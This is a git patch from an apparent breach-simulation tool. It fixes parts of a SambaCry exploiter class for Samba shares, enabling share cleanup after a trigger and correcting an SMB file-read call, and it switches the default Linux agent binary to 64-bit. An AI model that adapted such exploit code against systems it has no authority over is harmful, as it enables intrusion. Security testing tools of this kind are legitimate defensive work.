From 5de433eae0df65340faf9fc19caae852a1ea2504 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 31 Aug 2017 18:40:42 +0300 Subject: [PATCH] sambacry works default monkey binary in linux is now 64bit --- chaos_monkey/exploit/sambacry.py | 7 +++---- monkey_island/cc/main.py | 2 +- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index cdee14dd8..708898129 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -74,8 +74,7 @@ class SambaCryExploiter(HostExploiter): trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) if trigger_result is not None: successfully_triggered_shares.append((share, trigger_result)) - # TODO: uncomment - #self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) # TODO: send telemetry @@ -117,10 +116,10 @@ class SambaCryExploiter(HostExploiter): tree_id = smb_client.connectTree(share) file_content = None try: - file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) + file_id = smb_client.openFile(tree_id, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) - except (impacket.smbconnection.SessionError, SessionError) as e: + except (impacket.smbconnection.SessionError, SessionError): pass smb_client.disconnectTree(tree_id) diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index 9641e2ae3..cd2da3940 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -30,7 +30,7 @@ MONKEY_DOWNLOADS = [ }, { 'type': 'linux', - 'filename': 'monkey-linux-32', + 'filename': 'monkey-linux-64', }, { 'type': 'windows',